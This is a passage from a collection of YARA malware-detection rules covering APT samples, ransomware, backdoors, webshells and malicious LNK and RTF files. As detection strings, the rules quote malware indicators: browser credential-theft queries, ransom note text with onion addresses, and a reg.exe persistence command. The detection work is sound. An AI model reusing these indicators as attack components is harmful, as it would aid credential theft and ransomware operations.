		$s8 = "/c %s\\%s\\%s%s %s" fullword ascii
		$s9 = "ReleaseEvildll" fullword ascii
		$s0 = "%s\\%s\\%s%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 6 of them
}

import "pe"

rule APT_Thrip_Sample_Jun18_13
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "780620521c92aab3d592b3dc149cbf58751ea285cfdaa50510002b441796b312"
		id = "e6aec6f3-2024-5fb2-b37a-77a182684d32"

	strings:
		$s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii
		$s2 = "<member><name>password</name>" fullword ascii
		$s3 = "<value><string>qqtorspy</string></value>" fullword ascii
		$s4 = "SOFTWARE\\QKitTORSPY" fullword wide
		$s5 = "ipecho.net" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "3dfad33b2fb66c083c99dc10341908b7" or 4 of them )
}

import "pe"

rule APT_Thrip_Sample_Jun18_14
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "67dd44a8fbf6de94c4589cf08aa5757b785b26e49e29488e9748189e13d90fb3"
		id = "736e2700-cdcb-5165-b786-67edaef765b6"

	strings:
		$s1 = "%SystemRoot%\\System32\\svchost.exe -k " fullword ascii
		$s2 = "spdirs.dll" fullword ascii
		$s3 = "Provides storm installation services such as Publish, and Remove." fullword ascii
		$s4 = "RegSetValueEx(Svchost\\netsvcs)" fullword ascii
		$s5 = "Load %s Error" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( ( pe.exports ( "InstallA" ) and pe.exports ( "InstallB" ) and pe.exports ( "InstallC" ) ) or all of them )
}

import "pe"

rule APT_Thrip_Sample_Jun18_15
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "231c569f11460a12b171f131c40a6f25d8416954b35c28ae184aba8a649d9786"
		id = "fd8aa404-4c12-5c8f-a952-a143da858b9b"

	strings:
		$s1 = "%s\\cmd.exe /c %s" fullword ascii
		$s2 = "CryptBase.dll" fullword ascii
		$s3 = "gupdate.exe" fullword ascii
		$s4 = "wusa.exe" fullword ascii
		$s5 = " %s %s /quiet /extract:%s\\%s\\" ascii
		$s6 = "%s%s.dll.cab" fullword ascii
		$s7 = "%s\\%s\\%s%s %s" fullword ascii
		$s8 = "%s\\%s\\%s%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "f6ec70a295000ab0a753aa708e9439b4" or 6 of them )
}

import "pe"

rule APT_Thrip_Sample_Jun18_16
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "2b1c1c6d82837dbbccd171a0413c1d761b1f7c3668a21c63ca06143e731f030e"
		id = "58be9a1b-2228-5d7a-97c9-198cacbe1a66"

	strings:
		$s1 = "[%d] Failed, %08X" fullword ascii
		$s2 = "woqunimalegebi" fullword ascii
		$s3 = "[%d] Offset can not fetched." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( all of them or pe.imphash ( ) == "c6a4c95d868a3327a62c9c45f5e15bbf" )
}

rule APT_Thrip_Sample_Jun18_17
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "05036de73c695f59adf818d3c669c48ce8626139d463b8a7e869d8155e5c0d85"
		hash2 = "08d8c610e1ec4a02364cb53ba44e3ca5d46e8a177a0ecd50a1ef7b5db252701d"
		hash3 = "14535607d9a7853f13e8bf63b629e3a19246ed9db6b4d2de2ca85ec7a7bee140"
		id = "e314a893-1ef5-5d5f-b056-af25765c0b70"

	strings:
		$x1 = "c:\\users\\administrator\\desktop\\code\\skeyman2\\" ascii
		$x2 = "\\SkeyMan2.pdb" ascii
		$x3 = "\\\\.\\Pnpkb" fullword ascii
		$s1 = "\\DosDevices\\Pnpkb" wide
		$s2 = "\\DosDevices\\PnpKb" wide
		$s3 = "\\Driver\\kbdhid" wide
		$s4 = "\\Device\\PnpKb" wide
		$s5 = "Microsoft  Windows Operating System" fullword wide
		$s6 = "hDevice == INVALID_HANDLE_VALUE" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and ( 1 of ( $x* ) and 1 of ( $s* ) )
}

rule APT_Thrip_Sample_Jun18_18
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "33029f5364209e05481cfb2a4172c6dc157b0070f51c05dd34485b8e8da6e820"
		hash2 = "263c01a3b822722dc288a5ac138d953630d8c548a0bee080ae3979b7d364cecb"
		hash3 = "52d190a8d20b4845551b8765cbd12cfbe04cf23e6812e238e5a5023c34ee9b37"
		hash4 = "1f019e3c30a02b7b65f7984903af11d561d02b2666cc16463c274a2a0e62145d"
		hash5 = "43904ea071d4dce62a21c69b8d6efb47bcb24c467c6f6b3a6a6ed6cd2158bfe5"
		hash6 = "00d9da2b665070d674acdbb7c8f25a01086b7ca39d482d55f08717f7383ee26a"
		id = "20642526-5a4d-5dca-a6f5-29f19a9b5271"

	strings:
		$s1 = "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key" fullword ascii
		$s2 = "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard" fullword ascii
		$s3 = "LoadLibraryA() failed in KbdGetProcAddressByName()" fullword ascii
		$s5 = "Unknown Virtual-Key Code" fullword ascii
		$s6 = "Computer Sleep key" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule APT_MAL_FalseFont_Backdoor_Jan24
{
	meta:
		description = "Detects FalseFont backdoor, related to Peach Sandstorm APT"
		author = "X__Junior, Jonathan Peters"
		date = "2024-01-11"
		reference = "https://twitter.com/MsftSecIntel/status/1737895710169628824"
		hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
		score = 80

	strings:
		$x1 = "Agent.Core.WPF.App" ascii
		$x2 = "3EzuNZ0RN3h3oV7rzILktSHSaHk+5rtcWOr0mlA1CUA=" wide
		$x3 = "viOIZ9cX59qDDjMHYsz1Yw==" wide
		$sa1 = "StopSendScreen" wide
		$sa2 = "Decryption failed :(" wide
		$sb1 = "{0}     {1}     {2}     {3}" wide
		$sb2 = "\\BraveSoftware\\Brave-Browser\\User Data\\" wide
		$sb3 = "select * from logins" wide
		$sb4 = "Loginvault.db" wide
		$sb5 = "password_value" wide

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or all of ( $sa* ) or all of ( $sb* ) or ( 1 of ( $sa* ) and 4 of ( $sb* ) ) )
}

rule SUSP_LNK_Embedded_WordDoc
{
	meta:
		author = "Greg Lesnewich"
		description = "check for LNK files with indications of the Word program or an embedded doc"
		date = "2023-01-02"
		version = "1.0"
		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
		DaysofYARA = "2/100"
		id = "9677d41a-9d29-510c-98cd-122dc0ca9606"

	strings:
		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
		$icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide

	condition:
		uint32be( 0x0 ) == 0x4C000000 and filesize > 10KB and any of them
}

rule SUSP_LNK_SmallScreenSize
{
	meta:
		author = "Greg Lesnewich"
		description = "check for LNKs that have a screen buffer size and WindowSize dimensions of 1x1"
		date = "2023-01-01"
		version = "1.0"
		DaysofYARA = "1/100"
		id = "6194a76b-36d6-51d1-8d53-2e11172e29d2"

	strings:
		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}

	condition:
		uint32be( 0x0 ) == 0x4c000000 and all of them
}

rule MAL_Janicab_LNK
{
	meta:
		author = "Greg Lesnewich"
		description = "detect LNK files used in Janicab infection chain"
		date = "2023-01-01"
		version = "1.0"
		hash = "0c7e8427ee61672568983e51bf03e0bcf6f2e9c01d2524d82677b20264b23a3f"
		hash = "22ede766fba7551ad0b71ef568d0e5022378eadbdff55c4a02b42e63fcb3b17c"
		hash = "4920e6506ca557d486e6785cb5f7e4b0f4505709ffe8c30070909b040d3c3840"
		hash = "880607cc2da4c3213ea687dabd7707736a879cc5f2f1d4accf79821e4d24d870"
		hash = "f4610b65eba977b3d13eba5da0e38788a9e796a3e9775dd2b8e37b3085c2e1af"
		DaysofYARA = "1/100"
		id = "c21844d3-eeee-530e-a69c-b7f604616f0b"

	strings:
		$j_pdf1 = "%PDF-1.5" ascii wide
		$j_cmd = "\\Windows\\System32\\cmd.exe" ascii wide
		$j_pdf_stream = "endstream" ascii wide
		$j_pdb_obj = "endobj" ascii wide
		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}

	condition:
		uint32be( 0x0 ) == 0x4C000000 and $dimensions and 2 of ( $j_* )
}

rule SUSP_ELF_Invalid_Version
{
	meta:
		desc = "Identify ELF file that has mangled header info."
		author = "@shellcromancer"
		version = "0.1"
		score = 55
		last_modified = "2023.01.01"
		reference = "https://n0.lol/ebm/1.html"
		reference = "https://tmpout.sh/1/1.html"
		hash = "05379bbf3f46e05d385bbd853d33a13e7e5d7d50"
		id = "5bd97fdd-0912-5f9b-877c-91fff9b98dea"

	condition:
		( uint32( 0 ) == 0x464c457f and uint8( 0x6 ) > 1 )
}

rule MAL_ELF_TorchTriton
{
	meta:
		author = "Silas Cutler"
		description = "Detection for backdoor (TorchTriton) distributed with a nightly build of PyTorch"
		date = "2023-01-02"
		version = "1.0"
		hash = "2385b29489cd9e35f92c072780f903ae2e517ed422eae67246ae50a5cc738a0e"
		reference = "https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/"
		DaysofYARA = "2/100"
		id = "85e98ee7-30bf-554f-a0ac-9df263e6dfe4"

	strings:
		$error = "failed to send packet"
		$aes_key = "gIdk8tzrHLOM)mPY-R)QgG[;yRXYCZFU"
		$aes_iv = "?BVsNqL]S.Ni"
		$func01 = "splitIntoDomains("
		$func02 = "packageForTransport"
		$func03 = "gatherFiles"
		$func04 = "void sendFile("
		$domain = "&z-%`-(*"

	condition:
		uint32( 0 ) == 0x464c457f and ( ( all of ( $aes_* ) ) or ( all of ( $func* ) and $error ) or ( $domain and 2 of them ) )
}

rule MAL_GOLDBACKDOOR_LNK
{
	meta:
		author = "Greg Lesnewich"
		date = "2023-01-02"
		version = "1.0"
		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
		DaysofYARA = "2/100"
		id = "9a80f875-4843-535c-9f2b-b04da55713b1"

	strings:
		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
		$doc_icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
		$script_apionedrivecom_hex_enc_str = "6170692e6f6e6564726976652e636f6d" wide
		$script_kernel32dll_hex_enc_str = "6b65726e656c33322e646c6c" wide
		$script_GlobalAlloc_hex_enc_str = "476c6f62616c416c6c6f63" wide
		$script_VirtualProtect_hex_enc_str = "5669727475616c50726f74656374" wide
		$script_WriteByte_hex_enc_str = "577269746542797465" wide
		$script_CreateThread_hex_enc_str = "437265617465546872656164" wide

	condition:
		uint32be( 0x0 ) == 0x4C000000 and 1 of ( $doc* ) and 2 of ( $script* )
}

rule MAL_EXE_LockBit_v2
{
	meta:
		author = "Silas Cutler, modified by Florian Roth"
		description = "Detection for LockBit version 2.x from 2011"
		date = "2023-01-01"
		modified = "2023-01-06"
		version = "1.0"
		score = 80
		hash = "00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8"
		DaysofYARA = "1/100"
		id = "a2c27110-e63b-5f93-88a0-98c12811e8b4"

	strings:
		$s_ransom_note01 = "that is located in every encrypted folder." wide
		$s_ransom_note02 = "Would you like to earn millions of dollars?" wide
		$x_ransom_tox = "3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" wide
		$x_ransom_url = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" wide
		$s_str1 = "Active:[ %d [                  Completed:[ %d" wide
		$x_str2 = "\\LockBit_Ransomware.hta" wide ascii
		$s_str2 = "Ransomware.hta" wide ascii

	condition:
		uint16( 0 ) == 0x5A4D and ( 1 of ( $x* ) or 2 of them ) or 3 of them
}

import "pe"

rule MAL_EXE_PrestigeRansomware
{
	meta:
		author = "Silas Cutler, modfied by Florian Roth"
		description = "Detection for Prestige Ransomware"
		date = "2023-01-04"
		modified = "2023-01-06"
		version = "1.0"
		score = 80
		reference = "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"
		hash = "5fc44c7342b84f50f24758e39c8848b2f0991e8817ef5465844f5f2ff6085a57"
		DaysofYARA = "4/100"
		id = "5ac8033a-8b15-5abe-89d5-018a4fef9ab5"

	strings:
		$x_ransom_email = "Prestige.ranusomeware@Proton.me" wide
		$x_reg_ransom_note = "C:\\Windows\\System32\\reg.exe add HKCR\\enc\\shell\\open\\command /ve /t REG_SZ /d \"C:\\Windows\\Notepad.exe C:\\Users\\Public\\README\" /f" wide
		$ransom_message01 = "To decrypt all the data, you will need to purchase our decryption software." wide
		$ransom_message02 = "Contact us {}. In the letter, type your ID = {:X}." wide
		$ransom_message03 = "- Do not try to decrypt your data using third party software, it may cause permanent data loss." wide
		$ransom_message04 = "- Do not modify or rename encrypted files. You will lose them." wide

	condition:
		uint16( 0 ) == 0x5A4D and ( 1 of ( $x* ) or 2 of them or pe.imphash ( ) == "a32bbc5df4195de63ea06feb46cd6b55" )
}

rule MAL_EXE_RoyalRansomware
{
	meta:
		author = "Silas Cutler, modfied by Florian Roth"
		description = "Detection for Royal Ransomware seen Dec 2022"
		date = "2023-01-03"
		version = "1.0"
		hash = "a8384c9e3689eb72fa737b570dbb53b2c3d103c62d46747a96e1e1becf14dfea"
		DaysofYARA = "3/100"
		id = "f83316f7-b8c4-5907-a38e-80535215e7ef"

	strings:
		$x_ext = ".royal_" wide
		$x_fname = "royal_dll.dll"
		$s_readme = "README.TXT" wide
		$s_cli_flag01 = "-networkonly" wide
		$s_cli_flag02 = "-localonly" wide
		$x_ransom_msg01 = "If you are reading this, it means that your system were hit by Royal ransomware."
		$x_ransom_msg02 = "Try Royal today and enter the new era of data security!"
		$x_onion_site = "http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/"

	condition:
		uint16( 0 ) == 0x5A4D and ( 2 of ( $x* ) or 5 of them )
}

rule MAL_PY_Dimorf
{
	meta:
		author = "Silas Cutler"
		description = "Detection for Dimorf ransomeware"
		date = "2023-01-03"
		version = "1.0"
		reference = "https://github.com/Ort0x36/Dimorf"
		id = "78b53433-6926-58cd-8ec0-2195af803aab"

	strings:
		$func01 = "def find_and_encrypt"
		$func02 = "def check_os"
		$comment01 = "checks if the user has permission on the file."
		$misc01 = "log_dimorf.log"
		$misc02 = ".dimorf"

	condition:
		all of them
}

rule Kraken_Bot_Sample
{
	meta:
		description = "Kraken Bot Sample - file inf.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html"
		date = "2015-05-07"
		hash = "798e9f43fc199269a3ec68980eb4d91eb195436d"
		score = 90
		id = "508bb581-9dad-5201-af3d-7da17d905dc9"

	strings:
		$s2 = "%s=?getname" fullword ascii
		$s4 = "&COMPUTER=^" fullword ascii
		$s5 = "xJWFwcGRhdGElAA=" fullword ascii
		$s8 = "JVdJTkRJUi" fullword ascii
		$s20 = "btcplug" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule PoisonIvy_Generic_3
{
	meta:
		description = "PoisonIvy RAT Generic Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-05-14"
		hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
		id = "0f6a47ee-b741-59cc-b2d6-6bf3989ce8e7"

	strings:
		$k1 = "Tiger324{" fullword ascii
		$s2 = "WININET.dll" fullword ascii
		$s3 = "mscoree.dll" fullword wide
		$s4 = "WS2_32.dll" fullword
		$s5 = "Explorer.exe" fullword wide
		$s6 = "USER32.DLL"
		$s7 = "CONOUT$"
		$s8 = "login.asp"
		$h1 = "HTTP/1.0"
		$h2 = "POST"
		$h3 = "login.asp"
		$h4 = "check.asp"
		$h5 = "result.asp"
		$h6 = "upload.asp"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( $k1 or all of ( $s* ) or all of ( $h* ) )
}

rule SUSP_TINY_PE
{
	meta:
		description = "Detects Tiny PE file"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://webserver2.tecgraf.puc-rio.br/~ismael/Cursos/YC++/apostilas/win32_xcoff_pe/tyne-example/Tiny%20PE.htm"
		date = "2019-10-23"
		score = 80
		id = "5081c24e-91d1-5705-9459-f675be4f0e3c"

	strings:
		$header = { 4D 5A 00 00 50 45 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and uint16( 4 ) == 0x4550 and filesize <= 20KB and $header at 0
}

rule SUSP_GIF_Anomalies
{
	meta:
		description = "Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "https://en.wikipedia.org/wiki/GIF"
		date = "2020-07-02"
		id = "2e77c2ff-a8f6-5444-a93d-843312640a28"

	condition:
		uint16( 0 ) == 0x4947 and uint8( 2 ) == 0x46 and uint8( 11 ) != 0x00 and uint8( 12 ) != 0x00 and uint8( filesize - 1 ) != 0x3b
}

import "pe"

rule SUSP_HxD_Icon_Anomaly_May23_1
{
	meta:
		description = "Detects suspicious use of the the free hex editor HxD's icon in PE files that don't seem to be a legitimate version of HxD"
		author = "Florian Roth"
		reference = "https://www.linkedin.com/feed/update/urn:li:activity:7068631930040188929/?utm_source=share&utm_medium=member_ios"
		date = "2023-05-29"
		score = 65
		id = "3ac8cc92-6d76-5787-ada0-cfb6eabb4b20"

	strings:
		$ac1 = { 99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
               99 00 77 0D DD 09 99 80 99 00 77 0D D0 99 98 09
               99 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 09
               99 99 00 0D D0 99 98 0F F9 99 00 0D D0 99 98 09
               9F 99 00 0D D0 99 98 09 FF 99 00 0D D0 99 98 09
               FF 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 0F
               F9 99 00 0D D0 99 98 09 99 99 00 0D 09 99 80 9F
               F9 99 99 00 09 99 80 99 F9 99 99 00 09 99 80 FF }
		$ac2 = { FF FF FF FF FF FF FF FF FF FF FF FF FF FF B9 DE
               FA 68 B8 F4 39 A2 F1 39 A2 F1 39 A2 F1 39 A2 F1
               39 A2 F1 39 A2 F1 68 B8 F4 B9 DE FA FF FF FF FF
               FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF }
		$s1 = { 00 4D 00 61 00 EB 00 6C 00 20 00 48 00 F6 00 72 00 7A }
		$s2 = "mh-nexus.de" ascii wide
		$upx1 = "UPX0" ascii fullword
		$xs1 = "terminator" ascii wide fullword
		$xs2 = "Terminator" ascii wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and 1 of ( $ac* ) and ( not 1 of ( $s* ) or filesize > 6930000 or ( pe.is_32bit ( ) and filesize < 1540000 and not $upx1 ) or ( pe.is_32bit ( ) and filesize < 590000 and $upx1 ) or ( pe.is_64bit ( ) and filesize < 6670000 and not $upx1 ) or ( pe.is_64bit ( ) and filesize < 1300000 and $upx1 ) or 1 of ( $xs* ) )
}

rule VULN_KeePass_DB_Brute_Forcible
{
	meta:
		description = "Detects KeePass .kdbx password stores, which could be brute forced to steal the credentials. With AES-KDF and less than 65536 iterations the cracking speed with a single GPU is 20k/s, for the old default of 6.000 iterations it's 200k/s. Best remediation is to change the key derivative function to Argon2d and delete all older versions of the .kdbx"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-07-20"
		score = 60
		reference = "https://keepass.info/help/base/security.html#secdictprotect"
		id = "b1a86e03-b3d1-5abc-9287-a4846451caff"

	strings:
		$keepass_magic = { 03 D9 A2 9A 67 FB 4B B5 }
		$below_65536_rounds = { 06 08 00 ?? ?? 00 00 00 00 00 00 07 10 00 }

	condition:
		$keepass_magic at 0 and $below_65536_rounds at 108
}

rule malrtf_ole2link : exploit
{
	meta:
		author = "@h3x2b <tracker _AT h3x.eu>"
		description = "Detects weaponized RTF documents with OLE2Link exploit"
		id = "5080e79a-3abc-5fc3-902e-b362f20510f9"

	strings:
		$rtf_olelink_01 = "\\objdata" nocase
		$rtf_olelink_02 = "4f4c45324c696e6b" nocase
		$rtf_olelink_03 = "d0cf11e0a1b11ae1" nocase
		$rtf_payload_01 = "68007400740070003a002f002f00" nocase
		$rtf_payload_02 = "680074007400700073003a002f002f00" nocase
		$rtf_payload_03 = "6600740070003a002f002f00" nocase

	condition:
		uint32be( 0 ) == 0x7B5C7274 and all of ( $rtf_olelink_* ) and any of ( $rtf_payload_* )
}

rule WEBSHELL_Z_Webshell_2
{
	meta:
		description = "Detection for the z_webshell"
		author = "DHS NCCIC Hunt and Incident Response Team"
		date = "2018/01/25"
		old_rule_name = "z_webshell"
		md5 = "2C9095C965A55EFC46E16B86F9B7D6C6"
		id = "9a54925f-de10-567f-a1ea-5e7522b47dfd"

	strings:
		$webshell_name = "public string z_progname =" nocase ascii wide
		$webshell_password = "public string Password =" nocase ascii wide

	condition:
		( uint32( 0 ) == 0x2040253c or uint32( 0 ) == 0x7073613c ) and filesize < 100KB and 2 of ( $webshell_* )
}

rule TA18_074A_screen
{
	meta:
		description = "Detects malware mentioned in TA18-074A"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
		date = "2018-03-16"
		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
		id = "789ee5e5-83c3-5137-a078-ff230dbf8fcd"

	strings:
		$s1 = "screen.exe" fullword wide
		$s2 = "PlatformInvokeUSER32" fullword ascii
		$s3 = "GetDesktopImageF" fullword ascii
		$s4 = "PlatformInvokeGDI32" fullword ascii
		$s5 = "Too many arguments, going to store in current dir" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and 3 of them
}

rule TA18_074A_scripts
{
	meta:
		description = "Detects malware mentioned in TA18-074A"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
		date = "2018-03-16"
		modified = "2022-08-18"
		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
		id = "4c786098-c5f4-529b-8732-03183dfa94b5"

	strings:
		$s1 = "Running -s cmd /c query user on " ascii

	condition:
		filesize < 600KB and 1 of them
}

rule Scarcruft_malware_Feb18_1
{
	meta:
		description = "Detects Scarcruft malware - February 2018"
		author = "Florian rootpath"
		reference = "https://twitter.com/craiu/status/959477129795731458"
		date = "2018-02-03"
		score = 90
		id = "43a87f2a-cf60-5035-8d40-c360a789a1ac"

	strings:
		$x1 = "d:\\HighSchool\\version 13\\2ndBD\\T+M\\" ascii
		$x2 = "cmd.exe /C ping 0.1.1.2" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule TeleDoor_Backdoor
{
	meta:
		description = "Detects the TeleDoor Backdoor as used in Petya Attack in June 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/CpfJQQ"
		date = "2017-07-05"
		hash1 = "d462966166450416d6addd3bfdf48590f8440dd80fc571a389023b7c860ca3ac"
		hash2 = "f9d6fe8bd8aca6528dec7eaa9f1aafbecde15fd61668182f2ba8a7fc2b9a6740"
		hash3 = "2fd2863d711a1f18eeee5c7c82f2349c5d4e00465de9789da837fcdca4d00277"
		id = "ba9b4415-427e-5a13-b743-bed225d86db8"

	strings:
		$c1 = { 50 61 79 6C 6F 61 64 00 41 75 74 6F 50 61 79 6C 6F 61 64 }
		$c2 = { 52 75 6E 43 6D 64 00 44 75 6D 70 44 61 74 61 }
		$c3 = { 00 5A 76 69 74 57 65 62 43 6C 69 65 6E 74 45 78 74 00 4D 69 6E 49 6E 66 6F }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and 2 of them )
}

rule remsec_executable_blob_32
{
	meta:
		copyright = "Symantec"
		description = "Detects malware from Symantec's Strider APT report"
		score = 80
		date = "2016/08/08"
		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
		id = "d7a7e57a-b117-5da8-a7a2-4c6351bd9072"

	strings:
		$code = { 31 06 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 F0 }

	condition:
		all of them
}

rule remsec_executable_blob_64
{
	meta:
		copyright = "Symantec"
		description = "Detects malware from Symantec's Strider APT report"
		score = 80
		date = "2016/08/08"
		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
		id = "22345f40-3dae-5d5b-acc6-c67394475636"

	strings:
		$code = { 31 06 48 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 EF }

	condition:
		all of them
}

rule remsec_executable_blob_parser
{
	meta:
		copyright = "Symantec"
		description = "Detects malware from Symantec's Strider APT report"
		score = 80
		date = "2016/08/08"
		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
		id = "b2189bfe-7b84-5fe9-8829-64f49d1e2030"

	strings:
		$code = { ( 0F 82 ?? ?? 00 00 | 72 ?? ) ( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 8B | 41 8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | ?C 24 ) 06 }

	condition:
		all of them
}

rule remsec_encrypted_api
{
	meta:
		copyright = "Symantec"
		description = "Detects malware from Symantec's Strider APT report"
		score = 80
		date = "2016/08/08"
		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
		id = "1aa3380b-d704-5eb9-b25d-f4bf20ae7179"

	strings:
		$open_process = { 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }

	condition:
		all of them
}

rule remsec_packer_A
{
	meta:
		copyright = "Symantec"
		description = "Detects malware from Symantec's Strider APT report"
		score = 80
		date = "2016/08/08"
		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
		id = "d75198ab-b1ea-572a-a674-9a38c3e2958b"

	strings:
		$code = { 69 ( C? | D? | E? | F? ) AB 00 00 00 ( 81 | 41 81 ) C? CD 2B 00 00 ( F7 | 41 F7 ) E? ( C1 | 41 C1 ) E? 0D ( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00 ( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B ) }

	condition:
		all of them
}

rule remsec_packer_B
{
	meta:
		copyright = "Symantec"
		description = "Detects malware from Symantec's Strider APT report"
		score = 80
		date = "2016/08/08"
